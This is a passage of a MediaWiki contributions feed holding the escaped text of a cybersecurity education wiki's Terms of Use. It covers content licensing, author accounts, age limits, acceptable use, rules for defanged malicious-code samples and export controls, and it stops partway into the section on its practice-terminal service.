<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wikicyber.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=AdminUser</id>
	<title>WikiCyber - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wikicyber.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=AdminUser"/>
	<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php/Special:Contributions/AdminUser"/>
	<updated>2026-11-08T16:24:31Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.46.0</generator>
	<entry>
		<id>https://wikicyber.org/index.php?title=WikiCyber:Terms_of_Use&amp;diff=327</id>
		<title>WikiCyber:Terms of Use</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=WikiCyber:Terms_of_Use&amp;diff=327"/>
		<updated>2026-10-31T17:12:11Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Publish reviewed Terms of Use; $10 cap with statutory exceptions&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Effective Date:&#039;&#039;&#039; 31 October 2026 &amp;amp;nbsp;|&amp;amp;nbsp; &#039;&#039;&#039;Last Updated:&#039;&#039;&#039; 31 October 2026&lt;br /&gt;
&lt;br /&gt;
These Terms of Use (these &amp;quot;&#039;&#039;&#039;Terms&#039;&#039;&#039;&amp;quot;) constitute a legally binding agreement between you and the Operator (as defined below) governing your access to and use of the WikiCyber website located at https://wikicyber.org, together with its pages, content, and related services (collectively, the &amp;quot;&#039;&#039;&#039;Site&#039;&#039;&#039;&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PLEASE READ THESE TERMS, INCLUDING THE LIABILITY LIMITS IN SECTION 11 AND THE INDIVIDUAL ARBITRATION AGREEMENT IN SECTIONS 15.12–15.15. ARBITRATION REPLACES A COURT TRIAL FOR COVERED DISPUTES; YOU MAY OPT OUT WITHIN 30 DAYS AS EXPLAINED IN SECTION 15.15.&#039;&#039;&#039; You accept these Terms by checking an acceptance box or taking another affirmative action that expressly states that you agree to them after being given a conspicuous link and an opportunity to read them. Mere browsing does not, by itself, constitute acceptance of the arbitration agreement or other contractual waivers. Account creation, contributions, and Terminal Service access require acceptance. Publicly licensed Content remains available under its applicable license independently of acceptance. You must be at least 13 to use the Site; account holders must meet Section 3.9, including its parental-consent requirements where applicable.&lt;br /&gt;
&lt;br /&gt;
== 1. Introduction and Definitions ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.1 The Operator.&#039;&#039;&#039; WikiCyber is a free educational project operated by Shore-Roger Enterprises LLC, a California limited liability company (the &amp;quot;&#039;&#039;&#039;Operator&#039;&#039;&#039;&amp;quot;, &amp;quot;&#039;&#039;&#039;we&#039;&#039;&#039;&amp;quot;, &amp;quot;&#039;&#039;&#039;us&#039;&#039;&#039;&amp;quot;, or &amp;quot;&#039;&#039;&#039;our&#039;&#039;&#039;&amp;quot;). The Site is an encyclopedia-style reference of cybersecurity guides, tutorials, and articles written by contributors and is made available free of charge. This description does not represent that the Operator is a nonprofit or tax-exempt organization.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.2 Definitions.&#039;&#039;&#039; In these Terms, unless the context requires otherwise:&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Author&#039;&#039;&#039;&amp;quot; means a natural person to whom the Operator has issued an account on the Site and who creates, edits, or submits Content.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Content&#039;&#039;&#039;&amp;quot; means all text, code, images, data, and other material made available on the Site, including Contributions.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Contribution&#039;&#039;&#039;&amp;quot; means any Content that an Author creates, edits, or submits to the Site, whether or not it has been published, including articles, drafts, sandbox pages, talk-page comments, and edit summaries. Private communications, personal account information, terminal activity, and competition submissions are not Contributions merely because they are sent to the Operator; Sections 6.6 and 10 govern those materials.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;License&#039;&#039;&#039;&amp;quot; means the [https://creativecommons.org/licenses/by-sa/4.0/legalcode Creative Commons Attribution-ShareAlike 4.0 International Public License] (CC BY-SA 4.0).&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Supplemental Policies&#039;&#039;&#039;&amp;quot; means the [[WikiCyber:Privacy policy|Privacy policy]] and the [[WikiCyber:General disclaimer|General disclaimer]], to the extent actually published, made available before acceptance, and applicable to the service used, subject to Sections 14 and 15.6.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Terminal Service&#039;&#039;&#039;&amp;quot; means the optional hands-on practice and competition environments that the Operator may offer through the Site, in which you are given a temporary virtual machine that you operate through a browser-based terminal, together with the booking, scoring, and results features that accompany them.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Competition&#039;&#039;&#039;&amp;quot; means a scheduled, scored event run through the Terminal Service, and &amp;quot;&#039;&#039;&#039;Competition Account&#039;&#039;&#039;&amp;quot; means an account issued only to take part in one or more Competitions.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;User&#039;&#039;&#039;&amp;quot; or &amp;quot;&#039;&#039;&#039;you&#039;&#039;&#039;&amp;quot; means any person or entity that accesses or uses the Site, including any Author.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;WikiCyber Parties&#039;&#039;&#039;&amp;quot; means the Operator and its owners, officers, administrators, agents, volunteers, and Authors.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.3 Interpretation.&#039;&#039;&#039; Headings are for convenience only and do not affect the interpretation of these Terms. The word &amp;quot;including&amp;quot; means &amp;quot;including without limitation.&amp;quot; References to a statute or regulation are to that statute or regulation as amended or replaced from time to time.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.4 Availability of the Site.&#039;&#039;&#039; The Operator may modify, suspend, restrict, or discontinue the Site, or any part of it, at any time, subject to applicable law and the protections in Sections 11.4 and 14.&lt;br /&gt;
&lt;br /&gt;
== 2. Content License and Contributions ==&lt;br /&gt;
&lt;br /&gt;
=== 2.1 License to Content ===&lt;br /&gt;
&#039;&#039;&#039;2.1.1&#039;&#039;&#039; Unless a page or item expressly states otherwise, publicly accessible editorial Content is made available to the public, free of charge, under the License. Subject to and in accordance with the License, you may copy, redistribute, and adapt the Content for any purpose, including commercial use, provided that you comply with the License, including the following conditions:&lt;br /&gt;
:(a) &#039;&#039;&#039;Attribution.&#039;&#039;&#039; You must give appropriate credit to WikiCyber and its Authors, provide a link to the License, and indicate whether changes were made. A hyperlink or URL to the page you used, or to its history page, ordinarily identifies the Authors; retain other attribution, copyright, license, and disclaimer notices to the extent required by the License.&lt;br /&gt;
:(b) &#039;&#039;&#039;ShareAlike.&#039;&#039;&#039; If you share adapted material, you must apply the License or a permitted compatible license as required by the License. There is no obligation to publish a private adaptation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2.1.2&#039;&#039;&#039; Private sandbox material, account data, terminal recordings, competition answers, unreleased exercise materials, scoring configurations, and third-party software are not offered under the License merely because they are stored on or accessible through the Site. Their applicable permissions or licenses control. Section 2.1.1 is a summary provided for convenience and is not a substitute for the License. In the event of any conflict between these Terms and the License, the License governs the rights it grants. These Terms do not impose additional restrictions on exercise of licensed rights, remove copyright exceptions, or revoke licenses previously granted. Service access restrictions do not change those rights.&lt;br /&gt;
&lt;br /&gt;
=== 2.2 Contributions ===&lt;br /&gt;
By creating, editing, or submitting a Contribution, an Author represents, warrants, and agrees that:&lt;br /&gt;
:(a) the Author licenses a Contribution to the public under the License when posting it to a publicly accessible page or authorizing its publication through the review process, and acknowledges that the license is &#039;&#039;&#039;irrevocable&#039;&#039;&#039; under its terms. Draft-namespace pages, talk pages, and public edit summaries are public even before editorial approval. Material stored solely in an access-restricted sandbox is not publicly licensed by storage alone. The Author grants the Operator a nonexclusive, worldwide, royalty-free permission to store, reproduce, back up, format, and allow authorized reviewers to review that private material solely to operate the requested service; this does not authorize public disclosure before the Author authorizes publication, except as required by law;&lt;br /&gt;
:(b) the Contribution is the Author&#039;s original work, or the Author otherwise holds all rights necessary to license it under the License, and the Contribution does not infringe, misappropriate, or violate the copyright, trademark, privacy, or other rights of any third party;&lt;br /&gt;
:(c) any third-party material included in the Contribution is identified as such and is available under a license compatible with the License;&lt;br /&gt;
:(d) Contributions that are published on the Site, together with their edit histories and the Author&#039;s username, may remain publicly visible, including in edit histories and third-party copies, and may be edited, reorganized, moved, or removed by the Operator&#039;s administrators at any time;&lt;br /&gt;
:(e) subject to the License, the Author retains such copyright as the Author holds in the Contribution, and no Contribution creates any obligation on the part of the Operator to publish, retain, or credit it other than as the License requires; and&lt;br /&gt;
:(f) the Contribution complies with Section 6.&lt;br /&gt;
&lt;br /&gt;
=== 2.3 Matters Not Licensed ===&lt;br /&gt;
:(a) Third-party material that is marked with its own license, copyright notice, or terms remains subject to that license, notice, or terms.&lt;br /&gt;
:(b) The names &amp;quot;WikiCyber&amp;quot; and &amp;quot;Shore-Roger Enterprises LLC,&amp;quot; and all associated logos, are trademarks or trade names of their respective owners. The License does not grant any trademark rights, and no such rights are granted by these Terms.&lt;br /&gt;
&lt;br /&gt;
=== 2.4 Linking to the Site ===&lt;br /&gt;
You may link to publicly accessible pages for lawful purposes, including attribution, commentary, and criticism. Do not misrepresent sponsorship, endorsement, or affiliation or misuse trademarks. Nothing here limits fair use, nominative use, or rights granted by the License. Linking does not authorize access to private pages or circumvention of access controls.&lt;br /&gt;
&lt;br /&gt;
== 3. Authors and Accounts ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.1 Invitation only.&#039;&#039;&#039; Author accounts are issued by invitation only. Competition Accounts may instead be issued through an approved competition registration window under Section 6.6.6. Authors are vetted before being invited and are expected to have a notable background in cybersecurity, whether as a cybersecurity professional or through a history of participation in capture-the-flag (CTF) competitions and cybersecurity camps. An invitation, and the holding of an account, are subject to the minimum-age requirements of Section 3.9, regardless of the background on which the Author was vetted.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.2 Vetting is not a guarantee.&#039;&#039;&#039; The vetting of an Author does not constitute a representation or warranty by the Operator that any Author&#039;s Content is accurate, complete, current, or endorsed by the Operator. Content reflects the knowledge and opinions of the individual Authors.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.3 Account security.&#039;&#039;&#039; Each Author is solely responsible for maintaining the confidentiality of their account credentials, for activity they authorize or that results from their failure to take reasonable care of their credentials, and for not permitting any other person to use their account. An Author is the sole authorized user of their account. An Author must notify the Operator promptly upon becoming aware of, or reasonably suspecting, any unauthorized use of their account or compromise of their credentials.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.4 Editorial control and review.&#039;&#039;&#039; New or changed Content may be held in a draft or review queue before publication. The Operator may edit, move, decline to publish, or remove any Content at any time and for any reason, in its sole discretion.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.5 No employment or agency.&#039;&#039;&#039; Unless the Operator and an Author have agreed otherwise in a signed writing, Authors contribute voluntarily and without compensation, and nothing in these Terms creates an employment, partnership, joint venture, or agency relationship between the Operator and any Author.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.6 One account; accurate information.&#039;&#039;&#039; Unless the Operator agrees otherwise in writing, each Author may hold only one account. The Operator may deactivate any additional or duplicate account. An Author must provide accurate information to the Operator (including the email address associated with the account) and must keep that information current. Accounts are personal to the Author and may not be shared, sold, lent, or transferred.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.7 Authors&#039; representations.&#039;&#039;&#039; By accepting an account, an Author represents and warrants that: (a) the Author is not circumventing a current suspension or removal, and has disclosed any prior suspension or removal when seeking renewed access; (b) the Author has authority to accept these Terms, subject to the parental-consent procedure and nonwaivable rights in Section 3.9, and doing so does not breach any other agreement or obligation by which the Author is bound (including any agreement with an employer, school, or competition organizer concerning ownership of, or confidentiality of, work product); (c) every statement the Author makes to the Operator in connection with the Author&#039;s invitation or vetting is true; and (d) the Author satisfies the eligibility requirements of Section 6.5 (Export Controls and Sanctions) and will promptly notify the Operator if that ceases to be true.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.8 Contributing on behalf of an organization.&#039;&#039;&#039; If an Author contributes to the Site in the course of employment or on behalf of a school, team, company, or other entity (an &amp;quot;&#039;&#039;&#039;Organization&#039;&#039;&#039;&amp;quot;), the Author represents that the Author is authorized to accept these Terms and to license the Contribution under the License on the Organization&#039;s behalf, and that the Organization agrees to be bound by these Terms. In that case, &amp;quot;you&amp;quot; refers to both the Author and the Organization, and the Organization is responsible to the Operator for any breach of these Terms by the Author in connection with that Contribution. An Author who is not so authorized must not submit the Contribution.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.9 Minimum age.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Use of the Site.&#039;&#039;&#039; You must be at least 13 years old to access or use the Site. If you are under 13, you must not use the Site, and you must not create an account, submit any Contribution, or provide any personal information to the Operator. The Site is not directed to children under 13, and the Operator does not knowingly collect personal information from children under 13.&lt;br /&gt;
:(b) &#039;&#039;&#039;Author accounts.&#039;&#039;&#039; You must be at least 18 years old (or the age of majority in your jurisdiction, if higher) to hold an Author account, except that a person who is at least 13 but has not reached that required age may hold an Author account only if the Operator has received, directly from the person&#039;s parent or legal guardian and before the account is issued, written consent to the account and to these Terms, in a form the Operator accepts, together with enough information for the Operator to verify that the consent is genuine. The Operator may refuse to issue an account to any minor, and a vetting history or an invitation does not oblige the Operator to do so. The parent or legal guardian must separately accept these Terms in their own capacity and agree to supervise the minor&#039;s use; neither consent nor these Terms waives rights that a minor or guardian cannot lawfully waive. The parent or legal guardian may withdraw consent at any time by written notice to the Operator, upon which the Operator will deactivate the account.&lt;br /&gt;
:(c) &#039;&#039;&#039;Representation and enforcement.&#039;&#039;&#039; By accessing the Site or accepting an account, you represent that you meet the requirements of this Section 3.9. An Author must tell the Operator promptly if they are not, or cease to be, eligible. If the Operator learns that a person under 13 has used the Site or provided personal information, or that an account was issued in breach of this Section, the Operator may immediately deactivate the account and will take reasonable steps to delete the personal information it holds about that person, subject to any legal obligation to retain it. The Operator will handle published material and associated personal information consistently with applicable child-privacy and deletion requirements; the License is not a basis for refusing a legally required removal.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.10 Inactive accounts.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Inactivity.&#039;&#039;&#039; An Author account is &amp;quot;inactive&amp;quot; if, for a continuous period of twelve (12) months, the account has neither been used to log in to the Site nor been used to make an edit or other contribution, as shown by the Operator&#039;s records.&lt;br /&gt;
:(b) &#039;&#039;&#039;Deactivation.&#039;&#039;&#039; The Operator may deactivate an inactive account at any time. Before doing so, the Operator will make a reasonable effort to send a notice to the email address associated with the account, at least thirty (30) days in advance, but the Operator is not required to do so if the account has no working email address, and a failure of delivery does not prevent deactivation. Deactivation removes the Author&#039;s ability to log in and may include removing the Author&#039;s permissions, any reviewer or other role, and any open assignments.&lt;br /&gt;
:(c) &#039;&#039;&#039;Deletion of personal data.&#039;&#039;&#039; After deactivation, the Operator may delete the email address and other non-public personal information associated with the account. Because of the License, the public edit history, and the need to attribute Authors, the Author&#039;s username, and Contributions that were already published, may remain on the Site, and the Operator may rename the account to a neutral name or remove the Contributions in its discretion.&lt;br /&gt;
:(d) &#039;&#039;&#039;Reactivation.&#039;&#039;&#039; A former Author whose account was deactivated under this Section may ask the Operator to reactivate it. The Operator is not obliged to do so, and may require the Author to be re-vetted and to satisfy Sections 3.7, 3.9, and 6.5 again before granting the request.&lt;br /&gt;
:(e) &#039;&#039;&#039;Security.&#039;&#039;&#039; The Operator may also deactivate, suspend, or limit any account at any time where it reasonably suspects that the account is compromised or at risk of misuse, in accordance with Section 7.&lt;br /&gt;
&lt;br /&gt;
== 4. Educational Use Only; No Professional Advice ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1 Educational purpose.&#039;&#039;&#039; &#039;&#039;&#039;WikiCyber is not a source of expert help.&#039;&#039;&#039; The Site is a reference work, similar in style to an encyclopedia, intended solely for general educational purposes. Nothing on the Site constitutes professional, legal, security-consulting, or other individualized advice, and no attorney-client, consultant-client, or other professional relationship is created by your use of the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2 No assurance of accuracy.&#039;&#039;&#039; Cybersecurity guidance is dependent on context, and the techniques described on the Site may alter, disable, or damage systems and data. Content may be incomplete, out of date, or incorrect. Before applying any Content, you should practice in an isolated laboratory or virtual machine, maintain backups, and verify the information against authoritative sources.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.3 Assumption of risk and responsibility.&#039;&#039;&#039; You use the Site and the Content &#039;&#039;&#039;entirely at your own risk&#039;&#039;&#039;. You are solely responsible for (a) obtaining all authorizations necessary before testing, configuring, or otherwise acting upon any system, network, or data, and (b) ensuring that your use of the Content complies with all applicable laws, regulations, and agreements.&lt;br /&gt;
&lt;br /&gt;
== 5. No Affiliation; Third-Party Marks ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.1 Wikipedia and the Wikimedia Foundation.&#039;&#039;&#039; WikiCyber is &#039;&#039;&#039;not affiliated with, endorsed by, sponsored by, or representative of Wikipedia or the Wikimedia Foundation&#039;&#039;&#039;, and does not claim otherwise. The Site runs on MediaWiki, free and open-source software that is used by many unrelated organizations, and the use of that software implies no affiliation of any kind.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.2 Other organizations.&#039;&#039;&#039; WikiCyber is not affiliated with, endorsed by, or sponsored by CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco Systems, Microsoft Corporation, or any other organization, product, service, or competition that may be mentioned on the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.3 Third-party marks.&#039;&#039;&#039; All third-party names, trademarks, and logos are the property of their respective owners and are used for identification and educational reference only.&lt;br /&gt;
&lt;br /&gt;
== 6. Acceptable Use ==&lt;br /&gt;
&lt;br /&gt;
The following rules govern use of the service and submission of material. They do not add conditions to the License or prohibit lawful criticism, consumer reviews, reports to regulators, or other legally protected activity. Cybersecurity knowledge may be used either to defend systems or to attack them. You are fully responsible for your own conduct on and in connection with the Site. You may use the Site only for lawful and ethical purposes, in compliance with all applicable laws and regulations, with this Section 6, and with any editorial policies, help pages, or reasonable instructions the Operator publishes on the Site from time to time. If you use any third-party service in connection with the Site, you must also comply with that service&#039;s terms.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prohibited uses of the Site and its Content.&#039;&#039;&#039; You shall not use the Site, or any information obtained from it, to:&lt;br /&gt;
:(a) access, probe, attack, disrupt, or damage any computer system, network, account, or data &#039;&#039;&#039;without the explicit permission of its owner&#039;&#039;&#039;;&lt;br /&gt;
:(b) commit, or assist any person in committing, any crime or other unlawful act, including fraud, identity theft, stalking, unauthorized surveillance, or theft of data;&lt;br /&gt;
:(c) create, host, or distribute malware or other harmful code for malicious use, or post, embed, upload, host, or link to any Malicious Code (as defined in Section 6.4) in any form other than an Educational Sample that complies with Section 6.4.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prohibited conduct on the Site.&#039;&#039;&#039; You shall not:&lt;br /&gt;
:(d) attack, overload, abusively scrape, or attempt to circumvent the security or access controls of the Site;&lt;br /&gt;
:(e) post the private information, credentials, or confidential material of any other person without that person&#039;s consent;&lt;br /&gt;
:(f) post Content that infringes any person&#039;s intellectual property rights, or that is harassing, threatening, intimidating, stalking, obscene, hateful, deceptive, or spam;&lt;br /&gt;
:(g) impersonate any person or misrepresent your qualifications or affiliation;&lt;br /&gt;
:(h) post answers, keys, or non-public materials from an ongoing competition where the rules of that competition prohibit sharing them;&lt;br /&gt;
:(i) discriminate against, or harass, any person on the basis of race, color, national origin, religion, sex, gender identity, sexual orientation, disability, medical condition, marital status, age, or any other characteristic protected by applicable law;&lt;br /&gt;
:(j) use or attempt to use another person&#039;s account, or allow another person to use yours;&lt;br /&gt;
:(k) interfere with, disrupt, damage, disable, or overburden the Site or its servers or networks, or impair any other person&#039;s use of the Site, including by abusing the review, request, or notification features;&lt;br /&gt;
:(l) access or attempt to access any page, feature, account, or data that you are not authorized to access (including another Author&#039;s private sandbox pages), or tamper with, probe, or bypass any security measure, permission, or protection of the Site;&lt;br /&gt;
:(m) use robots, crawlers, scrapers, or other automated means to access the Site except in a way that respects the Site&#039;s robots.txt file and any published rate limits or API guidelines, it being understood that nothing in this paragraph restricts your rights in the Content under the License;&lt;br /&gt;
:(n) post Content that you know to be false or misleading, that contains viruses, corrupted data, or other harmful, disruptive, or destructive files or code (other than Educational Samples that comply with Section 6.4), or that contains political campaigning, advertising, or solicitation; or&lt;br /&gt;
:(o) engage in, encourage, or promote any activity that violates these Terms or the rights of the Operator or any third party.&lt;br /&gt;
&lt;br /&gt;
=== 6.1 No Promotional Links ===&lt;br /&gt;
&#039;&#039;&#039;6.1.1&#039;&#039;&#039; &#039;&#039;&#039;Promotional links are prohibited&#039;&#039;&#039; on articles, drafts, and all other pages of the Site, except as provided in Section 6.1.2. A &amp;quot;promotional link&amp;quot; includes any link to your own or any other person&#039;s website, blog, video channel, store, newsletter, or social media profile; any donation, sponsorship, or &amp;quot;buy me a coffee&amp;quot; page; and any affiliate, referral, or advertising link.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.1.2&#039;&#039;&#039; Promotional links are permitted &#039;&#039;&#039;only on an Author&#039;s own user profile page&#039;&#039;&#039; (the page titled &amp;quot;User:&amp;quot; followed by the Author&#039;s username). Promotional links are &#039;&#039;&#039;not&#039;&#039;&#039; permitted on articles, on drafts or sandbox pages submitted for review, on talk pages, or on any other page. An Author must remove all promotional links from a draft before submitting it for review.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.1.3&#039;&#039;&#039; A link that serves as a genuine source for a statement of fact, cited in accordance with the Site&#039;s sourcing policy (for example, a link to official documentation), is not a promotional link. However, the Operator&#039;s reviewers may remove any link whose primary purpose is promotional, and the Operator may remove promotional links and content at any time without notice. Repeated violations of this Section 6.1 may result in the loss of Author access under Section 7.&lt;br /&gt;
&lt;br /&gt;
=== 6.2 Reasonable File Sizes ===&lt;br /&gt;
Whenever the Site permits the upload or embedding of images or other files, an Author must keep each file reasonably sized for its purpose. For example, an image that shows only a small diagram or arrow must not be uploaded as a multi-megapixel or 4K image. An Author must resize, crop, or compress files before uploading them, and must not upload files that are larger than needed to serve their educational purpose. The Operator may set maximum file sizes and dimensions, and may resize, replace, or remove any file that is unreasonably large, without notice.&lt;br /&gt;
&lt;br /&gt;
=== 6.3 Responsible Disclosure ===&lt;br /&gt;
If you discover a security vulnerability affecting the Site, you are requested to report it promptly to the contact address in Section 13 and not to exploit it, disclose it publicly before the Operator has had a reasonable opportunity to remediate it, or access data that is not your own.&lt;br /&gt;
&lt;br /&gt;
=== 6.4 Malicious Code and Educational Samples ===&lt;br /&gt;
&#039;&#039;&#039;6.4.1 Rule and definition.&#039;&#039;&#039; &amp;quot;&#039;&#039;&#039;Malicious Code&#039;&#039;&#039;&amp;quot; means any software, script, macro, document, shellcode, payload, or other code that is designed or configured for malicious damage, disruption, or unauthorized access to a computer system, network, account, or data, including malware, ransomware, spyware, malicious backdoors, worms, credential stealers, and working exploit payloads. Ordinary administrative commands and defensive tools are not Malicious Code solely because they could be misused. The public-posting restrictions do not prohibit tools expressly supplied or authorized for an isolated Terminal Service exercise within its stated scope; they do not authorize publishing or exporting those tools. You may not post, embed, upload, host, or link to Malicious Code on the Site, except as an Educational Sample that complies with every requirement of this Section 6.4. Section 6(c) and this Section 6.4 are to be read together: nothing in this Section 6.4 permits any use that Section 6 otherwise prohibits.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.2 Educational Sample.&#039;&#039;&#039; An &amp;quot;&#039;&#039;&#039;Educational Sample&#039;&#039;&#039;&amp;quot; is an excerpt or illustration of Malicious Code that satisfies all of the following:&lt;br /&gt;
:(a) it is included solely to explain how an attack works or to help readers detect, analyze, mitigate, or defend against it;&lt;br /&gt;
:(b) it is clearly labeled, immediately above the sample, with a visible notice stating that it is a defanged educational sample;&lt;br /&gt;
:(c) it is Defanged as required by Section 6.4.3;&lt;br /&gt;
:(d) it is no longer than is reasonably necessary for its educational purpose, and is accompanied by explanatory text, including how the technique can be detected or prevented; and&lt;br /&gt;
:(e) it does not exploit a vulnerability for which no vendor fix, patch, or mitigation has been publicly released.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.3 Defanged.&#039;&#039;&#039; Code is &amp;quot;&#039;&#039;&#039;Defanged&#039;&#039;&#039;&amp;quot; only if all of the following are true:&lt;br /&gt;
:(a) it appears solely as human-readable text inline in the page (for example, in a code block), and not as a file, archive, attachment, download, or embedded object;&lt;br /&gt;
:(b) it is not compiled, packed, obfuscated, or encoded (for example, as an executable, library, installer, script bundle, or an encoded blob such as Base64 or hexadecimal data), and it does not contain raw shellcode or any other byte sequence that would run, or decode into something that would run, if copied;&lt;br /&gt;
:(c) it is incomplete in a way that prevents it from working as written against a real system, because it omits at least one element essential to its operation (such as a functional payload, a final stage, a working key, or target-specific values), and no reader can make it function without writing that element themselves; and&lt;br /&gt;
:(d) every network address, hostname, URL, credential, and other target or infrastructure value in it is an inert placeholder, such as the loopback address 127.0.0.1 (or ::1), an address in the documentation ranges 192.0.2.0/24, 198.51.100.0/24, or 203.0.113.0/24 (or 2001:db8::/32), a reserved name such as example.com, example.net, or example.org, or a name ending in .test, .example, or .invalid, and none identifies a real person, organization, system, or account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.4 No hosting or linking.&#039;&#039;&#039; Public wiki pages and public downloads must not host executable, compiled, or otherwise runnable Malicious Code, and you may not upload or attempt to upload any such file. You may not post a link to any page, repository, or file from which live malware or a working exploit can be downloaded. Links to published analysis, advisories, and documentation (for example, a vendor advisory or a CVE record) that do not themselves distribute working Malicious Code are permitted. An indicator of compromise taken from real malware (for example, an address or domain) may be shown only in defanged notation (for example, &amp;quot;hxxp&amp;quot; for &amp;quot;http&amp;quot; and &amp;quot;[.]&amp;quot; for &amp;quot;.&amp;quot;) and with a cited source.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.5 Review, removal, and responsibility.&#039;&#039;&#039; The Operator and its reviewers determine in their sole discretion whether Content is an Educational Sample, and may reject, redact, or remove any Content that does not clearly meet this Section 6.4, without notice. Labeling Content as an educational sample does not make it one. You must not complete, restore, recompile, decode, or otherwise re-weaponize any Educational Sample, and you may run or test such material only on systems that you own or are expressly authorized in writing to test, in accordance with Section 6(a). Compliance with this Section 6.4 is a minimum requirement and does not make any use lawful. You remain solely responsible for your own conduct.&lt;br /&gt;
&lt;br /&gt;
=== 6.5 Export Controls and Sanctions ===&lt;br /&gt;
&#039;&#039;&#039;6.5.1 Compliance with export laws.&#039;&#039;&#039; The Site and its Content include technical information about computer security, cryptography, and attack and defense techniques that may be subject to United States export control and sanctions laws, including the Export Administration Regulations (15 C.F.R. Parts 730–774) and the economic sanctions regulations administered by the U.S. Department of the Treasury&#039;s Office of Foreign Assets Control (together, &amp;quot;&#039;&#039;&#039;Export Laws&#039;&#039;&#039;&amp;quot;). You may not access, use, download, or export, re-export, or transfer the Site or any Content in violation of Export Laws or any other applicable export, import, or sanctions law. You are solely responsible for determining whether your own access to, use of, or transfer of Content is lawful where you are located and under the laws that apply to you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.2 Restricted transactions.&#039;&#039;&#039; You must not use an account, receive a service, or submit or transfer material where that particular transaction is prohibited by applicable Export Laws, including applicable sanctions, restricted-party rules, and ownership rules. Restrictions depend on the person, destination, material, and transaction; an exemption, exception, or license may apply. A country&#039;s appearance in a sanctions program, or a person&#039;s appearance on a restricted-party list, does not by itself mean every transaction is prohibited. The Operator may request information reasonably needed to assess eligibility and may withhold a restricted service pending verification. You must not misrepresent your identity or location to evade a restriction.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.3 Authors and technical contributions.&#039;&#039;&#039; An account or Contribution must not be provided or accepted when doing so is prohibited under Section 6.5.2. The Operator retains responsibility for its own compliance obligations; a user representation does not replace them. The Operator may decline, suspend, or revoke any account, and may remove any Contribution, where the Operator believes, in its sole discretion, that holding the account or accepting the Contribution would or might violate Export Laws. An Author must not use a proxy, VPN, third-party account, or any other means to conceal their location or identity in order to circumvent this Section 6.5.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.4 No representation of exportability.&#039;&#039;&#039; The Operator makes no representation that the Content is appropriate or available for use or export in any location, and does not provide an export classification for any Content. The Operator may restrict or block access to the Site, or to any part of it, from any location as it considers necessary to comply with law, without notice or liability.&lt;br /&gt;
&lt;br /&gt;
=== 6.6 Terminal Service and Competitions ===&lt;br /&gt;
&#039;&#039;&#039;6.6.1 Optional; may be limited.&#039;&#039;&#039; The Terminal Service is optional, is offered only to the accounts and groups the Operator chooses, and may be limited, queued, rescheduled, paused, or withdrawn at any time. Practice sessions are limited in number, length, and resources; a Competition may be limited to a booked time slot, a fixed number of attempts, and a fixed length of play. Access depends on a confirmed email address and on your acceptance of the version of these Terms that is shown to you.&lt;br /&gt;
&lt;br /&gt;
